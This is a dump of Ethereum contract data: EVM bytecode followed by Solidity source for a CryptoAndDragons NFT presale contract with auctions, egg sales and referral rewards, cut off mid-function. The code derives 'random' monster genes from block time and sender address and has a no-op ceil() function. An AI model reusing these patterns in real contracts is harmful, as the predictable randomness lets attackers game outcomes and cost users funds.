7fc5805a8a7bae10c57af842e8a49367d39281e79cb06384ec68082ffa3b3c019d338a604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050505050565b6000801515600260149054906101000a900460ff161515141515611fe957600080fd5b8282808214151515611ffa57600080fd5b846001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561209157600080fd5b505af11580156120a5573d6000803e3d6000fd5b505050506040513d60208110156120bb57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151514151561210857600080fd5b856001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561219f57600080fd5b505af11580156121b3573d6000803e3d6000fd5b505050506040513d60208110156121c957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151514151561221657600080fd5b886000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b1580156122ab57600080fd5b505af11580156122bf573d6000803e3d6000fd5b505050506040513d6101408110156122d657600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff161115151561239057600080fd5b896000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561242557600080fd5b505af1158015612439573d6000803e3d6000fd5b505050506040513d61014081101561245057600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff161115151561250a57600080fd5b34600360009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614151561254857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600360009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f193505050501580156125df573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a94857dc8e8e6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b15801561267957600080fd5b505af115801561268d573d6000803e3d6000fd5b505050506040513d60208110156126a357600080fd5b81019080805190602001909291905050509a507fdb3af7d2d2fe2463b2e0f05ad9c9fec05c5aa2fbc2157b624bbf9d9cf077b288338c604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156127b657600080fd5b505af11580156127ca573d6000803e3d6000fd5b505050506040513d60208110156127e057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561282a57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b60001515600260149054906101000a900460ff16151514151561286557600080fd5b816001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156128fc57600080fd5b505af1158015612910573d6000803e3d6000fd5b505050506040513d602081101561292657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151514151561297357600080fd5b83600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015612a0957600080fd5b505af1158015612a1d573d6000803e3d6000fd5b505050506040513d610140811015612a3457600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915050809150508115156000826fffffffffffffffffffffffffffffffff16111515141515612aff57600080fd5b6000866fffffffffffffffffffffffffffffffff16111515612b2057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634135459088886040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015612bdd57600080fd5b505af1158015612bf1573d6000803e3d6000fd5b505050507fdb2698bc0ae2654fcbe619b2dac7a87ed481b08369b9211683197dbaaf132e473388604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050505050565b600260159054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612d4d57600080fd5b505af1158015612d61573d6000803e3d6000fd5b505050506040513d6020811015612d7757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612eac5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612e4257600080fd5b505af1158015612e56573d6000803e3d6000fd5b505050506040513d6020811015612e6c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612fa25750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612f3857600080fd5b505af1158015612f4c573d6000803e3d6000fd5b505050506040513d6020811015612f6257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612fad57600080fd5b806004906004612fbe929190614ad5565b5050565b60001515600260149054906101000a900460ff161515141515612fe457600080fd5b806001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561307b57600080fd5b505af115801561308f573d6000803e3d6000fd5b505050506040513d60208110156130a557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151415156130f257600080fd5b8260016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561318957600080fd5b505af115801561319d573d6000803e3d6000fd5b505050506040513d6101408110156131b457600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915050809150508115156000826fffffffffffffffffffffffffffffffff1611151514151561327f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663413545908760006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561332b57600080fd5b505af115801561333f573d6000803e3d6000fd5b505050507fc09c64c36775ff55cedf8560992a57cf8542467f64d971469bc5e0dc05742f503387604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561341157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156134db57600080fd5b505af11580156134ef573d6000803e3d6000fd5b505050506040513d602081101561350557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061363a5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156135d057600080fd5b505af11580156135e4573d6000803e3d6000fd5b505050506040513d60208110156135fa57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806137305750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156136c657600080fd5b505af11580156136da573d6000803e3d6000fd5b505050506040513d60208110156136f057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561373b57600080fd5b80600260156101000a81548160ff02191690831515021790555050565b60048160048110151561376757fe5b60209182820401919006915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561380757600080fd5b505af115801561381b573d6000803e3d6000fd5b505050506040513d602081101561383157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806139665750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156138fc57600080fd5b505af1158015613910573d6000803e3d6000fd5b505050506040513d602081101561392657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80613a5c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156139f257600080fd5b505af1158015613a06573d6000803e3d6000fd5b505050506040513d6020811015613a1c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613a6757600080fd5b80600260146101000a81548160ff02191690831515021790555050565b60008060001515600260149054906101000a900460ff161515141515613aa957600080fd5b826000801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015613b4057600080fd5b505af1158015613b54573d6000803e3d6000fd5b505050506040513d6020811015613b6a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515141515613bb757600080fd5b8460016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015613c4e57600080fd5b505af1158015613c62573d6000803e3d6000fd5b505050506040513d610140811015613c7957600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915050809150508115156000826fffffffffffffffffffffffffffffffff16111515141515613d4457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015613dd557600080fd5b505af1158015613de9573d6000803e3d6000fd5b505050506040513d6020811015613dff57600080fd5b81019080805190602001909291905050509650600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015613ea457600080fd5b505af1158015613eb8573d6000803e3d6000fd5b505050506040513d610140811015613ecf57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150508096505034866fffffffffffffffffffffffffffffffff16141515613f9357600080fd5b8673ffffffffffffffffffffffffffffffffffffffff166108fc876fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f19350505050158015613feb573d6000803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663413545908960006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561409857600080fd5b505af11580156140ac573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f630a4688960006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b15801561415c57600080fd5b505af1158015614170573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cf91bf23360018060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663efbd63a9336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561427157600080fd5b505af1158015614285573d6000803e3d6000fd5b505050506040513d602081101561429b57600080fd5b8101908080519060200190929190505050016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561433257600080fd5b505af1158015614346573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cf91bf28860018060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663efbd63a98c6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561444757600080fd5b505af115801561445b573d6000803e3d6000fd5b505050506040513d602081101561447157600080fd5b8101908080519060200190929190505050036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561450857600080fd5b505af115801561451c573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166335d1f86989336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156145e557600080fd5b505af11580156145f9573d6000803e3d6000fd5b505050507f4ae2dfacbc099a4028850d9f0642800230074c6a182fbb3e5303a0ca6506e4aa33898989604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a15050505050505050565b600360009054906101000a90046fffffffffffffffffffffffffffffffff1681565b60001515600260149054906101000a900460ff16151514151561470457600080fd5b806001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561479b57600080fd5b505af11580156147af573d6000803e3d6000fd5b505050506040513d60208110156147c557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151514151561481257600080fd5b8260016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b1580156148a957600080fd5b505af11580156148bd573d6000803e3d6000fd5b505050506040513d6101408110156148d457600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809150508115156000826fffffffffffffffffffffffffffffffff1611151514151561499e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f630a4688760006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015614a4a57600080fd5b505af1158015614a5e573d6000803e3d6000fd5b505050507f9cace4224e735a468a16db4de6d276ab6f96088fab8b9e32c5d769d0544606f23387604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b826004601f01602090048101928215614b615791602002820160005b83821115614b3257833560ff1683826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302614af1565b8015614b5f5782816101000a81549060ff0219169055600101602081600001049283019260010302614b32565b505b509050614b6e9190614b72565b5090565b614b9f91905b80821115614b9b57600081816101000a81549060ff021916905550600101614b78565b5090565b905600a165627a7a7230582070ed6447d8e269dd7c0fd406bcabd8d6dedc424a68886d532323821c279286090029
{"success": true, "error": null, "results": {}}
1,060
0xac625cbd6d8628f9de1b69a2e057073e0dca0a0d
pragma solidity ^0.4.19; contract AccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; function AccessControl() public { owner = msg.sender; moderators[msg.sender] = true; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract DTT is AccessControl{ function approve(address _spender, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function balanceOf(address _addr) public returns (uint); mapping (address => mapping (address => uint256)) public allowance; } contract DataBase is AccessControl{ function addMonsterObj(uint64 _monsterId,uint256 _genes,uint32 _classId,address _master,string _name,string _skills) public; function getTotalMonster() constant public returns(uint64); function setMonsterGene(uint64 _monsterId,uint256 _genes) public; } contract NFTToken is AccessControl{ function transferAuction(address _from, address _to, uint256 _value) external; function ownerOf(uint256 _tokenId) public constant returns (address owner); } contract CryptoAndDragonsPresale is AccessControl{ event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event Hatch(address indexed _owner, uint16 _tableId); address public thisAddress; address public dragonTreasureToken; address public databaseContract; address public ERC721Contract; uint256 public totalClass; uint256 public totalMonster; uint256 public totalAuction; uint256 private increaseRate = 0.1 ether; uint64 public cooldownTime = 2 hours; mapping (address => address) public masterToReferral; mapping (uint16 => uint32[]) private EggTable; mapping (uint8 => uint256) public EggTotal; function setNewMonster(uint256 _genes,uint32 _classId,address _master,string _name,string _skills) onlyModerators public returns(uint64 _monsterId) { DataBase data = DataBase(databaseContract); uint64 monsterId = data.getTotalMonster() + 1; data.addMonsterObj(monsterId,_genes,_classId,_master,_name,_skills); return monsterId; } function setMasterToReferral(address _master, address _referral) onlyOwner public{ masterToReferral[_master] = _referral; } function setEggTotal(uint8 _tableNum,uint256 _tableVal) onlyOwner public{ EggTotal[_tableNum] = _tableVal; } function setAddresses(address _dragonTreasureToken,address _databaseContract,address _ERC721Contract) onlyOwner public{ dragonTreasureToken = _dragonTreasureToken; databaseContract = _databaseContract; ERC721Contract = _ERC721Contract; } function setEggTable(uint16 _tableNum,uint32[] _tableVals) onlyOwner public{ EggTable[_tableNum] = _tableVals; } function userWithdraw(uint256 _value) public{ DTT DTTtoken = DTT(dragonTreasureToken); DTTtoken.transferFrom(this,msg.sender,_value); } struct Egg { uint8 tableId; uint32 classId; uint256 genes; uint256 hatchTime; uint32 matronId; uint32 sireId; uint16 generation; address master; } struct Auction { uint256 classId; uint256 monsterId; uint256 price; uint256 endTime; uint8 rarity; address bidder; } Egg[] public eggs; Auction[] public auctions; uint randNonce = 0; function randMod(uint _modulus) internal returns(uint) { randNonce++; return uint(keccak256(now, msg.sender, randNonce)) % _modulus; } function setCooldown(uint64 _time) onlyOwner public{ cooldownTime = _time; } function getSortedArray(uint[] storageInt) public pure returns(uint[]) { uint[] memory a = getCloneArray(storageInt); quicksort(a); return a; } function getCloneArray(uint[] a) private pure returns(uint[]) { return a; } function swap(uint[] a, uint l, uint r) private pure { uint t = a[l]; a[l] = a[r]; a[r] = t; } function getPivot(uint a, uint b, uint c) private pure returns(uint) { if(a > b){ if(b > c){ return b; }else{ return a > c ? c : a ; } }else{ if(a > c){ return a; }else{ return b > c ? c : b ; } } } function quicksort(uint[] a) private pure { uint left = 0; uint right = a.length - 1; quicksort_core(a, left, right); } function quicksort_core(uint[] a, uint left, uint right) private pure { if(right <= left){ return; } uint l = left; uint r = right; uint p = getPivot(a[l], a[l+1], a[r]); while(true){ while(a[l] < p){ l++; } while(p < a[r]){ r--; } if(r <= l){ break; } swap(a, l, r); l++; r--; } quicksort_core(a, left, l-1); quicksort_core(a, r+1, right); } /* Withdraw */ /* NOTICE: These functions withdraw the developer's cut which is left in the contract by `buy`. User funds are immediately sent to the old owner in `buy`, no user funds are left in the contract. */ function withdrawAll () onlyOwner public { msg.sender.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner public { msg.sender.transfer(_amount); } function addAuction(uint32 _classId, uint256 _monsterId, uint256 _price, uint8 _rarity, uint8 _endTime) onlyOwner public { Auction memory auction = Auction({ classId: _classId, monsterId: _monsterId, price: _price, rarity: _rarity, endTime: 86400 * _endTime + now, bidder: msg.sender }); auctions.push(auction); totalAuction += 1; } function burnAuction() onlyOwner external { uint256 counter = 0; for (uint256 i = 0; i < totalAuction; i++) { if(auctions[i].endTime < now - 86400 * 3){ delete auctions[i]; counter++; } } totalAuction -= counter; } /* Buying */ function ceil(uint a) public pure returns (uint ) { return uint(int(a * 100) / 100); } /* Buy a country directly from the contract for the calculated price which ensures that the owner gets a profit. All countries that have been listed can be bought by this method. User funds are sent directly to the previous owner and are never stored in the contract. */ function setGenes(uint256 _price, uint256 _monsterId) internal{ DataBase data = DataBase(databaseContract); uint256 gene = _price / 10000000000000000; if(gene > 255) gene = 255; uint256 genes = 0; genes += gene * 1000000000000000; genes += gene * 1000000000000; genes += gene * 1000000000; genes += gene * 1000000; genes += gene * 1000; genes += gene; if(genes > 255255255255255255) genes = 255255255255255255; data.setMonsterGene(uint64(_monsterId),genes); } function buy (uint256 _auctionId, address _referral) payable public { NFTToken CNDERC721 = NFTToken(ERC721Contract); require(auctions[_auctionId].endTime > now); require(CNDERC721.ownerOf(auctions[_auctionId].monsterId) != address(0)); require(ceil(msg.value) >= ceil(auctions[_auctionId].price + increaseRate)); require(CNDERC721.ownerOf(auctions[_auctionId].monsterId) != msg.sender); require(!isContract(msg.sender)); require(msg.sender != address(0)); address oldOwner = CNDERC721.ownerOf(auctions[_auctionId].monsterId); address newOwner = msg.sender; uint256 oldPrice = auctions[_auctionId].price; uint256 price = ceil(msg.value); setGenes(price,auctions[_auctionId].monsterId); CNDERC721.transferAuction(oldOwner, newOwner, auctions[_auctionId].monsterId); auctions[_auctionId].price = ceil(price); auctions[_auctionId].bidder = msg.sender; DTT DTTtoken = DTT(dragonTreasureToken); if(masterToReferral[msg.sender] != address(0) && masterToReferral[msg.sender] != msg.sender){ DTTtoken.approve(masterToReferral[msg.sender], DTTtoken.allowance(this,masterToReferral[msg.sender]) + price / 1000000000 * 5); }else if(_referral != address(0) && _referral != msg.sender){ masterToReferral[msg.sender] = _referral; DTTtoken.approve(_referral, DTTtoken.allowance(this,_referral) + price / 1000000000 * 5); } DTTtoken.approve(msg.sender, DTTtoken.allowance(this,msg.sender) + price / 1000000000 * 5); if(oldPrice > 0) oldOwner.transfer(oldPrice); Bought(auctions[_auctionId].monsterId, newOwner, price); Sold(auctions[_auctionId].monsterId, oldOwner, price); } function buyBlueStarEgg(address _sender, uint256 _tokens, uint16 _amount) isActive public returns(uint256) { require(_amount <= 10 && _amount > 0); uint256 price = ceil(5 * 10**8); if (_tokens < price) revert(); DataBase data = DataBase(databaseContract); for (uint8 i = 0; i < _amount; i++) { uint256 genes = 0; genes += (randMod(205) + 51) * 1000000000000000; genes += (randMod(205) + 51) * 1000000000000; genes += (randMod(205) + 51) * 1000000000; genes += (randMod(205) + 51) * 1000000; genes += (randMod(205) + 51) * 1000; genes += randMod(205) + 51; uint32 classId = EggTable[1][randMod(EggTable[1].length)]; EggTotal[1] += 1; uint64 monsterId = data.getTotalMonster() + 1; data.addMonsterObj(monsterId,genes,classId,_sender,"",""); } Hatch(msg.sender, 1); return price * _amount; } function buyRareEgg(uint8 _table, uint _amount, address _referral) isActive payable public { require(_amount <= 10 && _amount > 0); uint256 price = 0.1 ether; if(EggTotal[_table] > 0) price += uint((int(EggTotal[_table] / 500) * 10**18) / 20); require(msg.value >= price * _amount); DTT DTTtoken = DTT(dragonTreasureToken); DataBase data = DataBase(databaseContract); uint256 bonus = 10; if(_amount >= 10){ bonus = 12; } if(masterToReferral[msg.sender] != address(0) && masterToReferral[msg.sender] != msg.sender){ DTTtoken.approve(masterToReferral[msg.sender], DTTtoken.allowance(this,masterToReferral[msg.sender]) + price / 10000000000 * 5 * bonus * _amount); }else if(_referral != address(0) && _referral != msg.sender){ masterToReferral[msg.sender] = _referral; DTTtoken.approve(_referral, DTTtoken.allowance(this,_referral) + price / 10000000000 * 5 * bonus * _amount); } DTTtoken.approve(msg.sender, DTTtoken.allowance(this,msg.sender) + price / 10000000000 * 5 * bonus * _amount); for (uint8 i = 0; i < _amount; i++) { uint256 genes = 0; genes += (randMod(155) + 101) * 1000000000000000; genes += (randMod(155) + 101) * 1000000000000; genes += (randMod(155) + 101) * 1000000000; genes += (randMod(155) + 101) * 1000000; genes += (randMod(155) + 101) * 1000; genes += randMod(155) + 101; uint32 classId = EggTable[_table][randMod(EggTable[_table].length)]; EggTotal[_table] += 1; uint64 monsterId = data.getTotalMonster() + 1; data.addMonsterObj(monsterId,genes,classId,msg.sender,"",""); } Hatch(msg.sender, _table); } function hatchEgg(uint256 _eggId, string _name) public{ require(eggs[_eggId].hatchTime <= now); require(eggs[_eggId].classId != 0 && eggs[_eggId].master == msg.sender); DataBase CNDDB = DataBase(databaseContract); uint64 monsterId = CNDDB.getTotalMonster() + 1; string memory skills = "0:0:0:0"; CNDDB.addMonsterObj(monsterId,eggs[_eggId].genes,eggs[_eggId].classId,msg.sender,_name,skills); 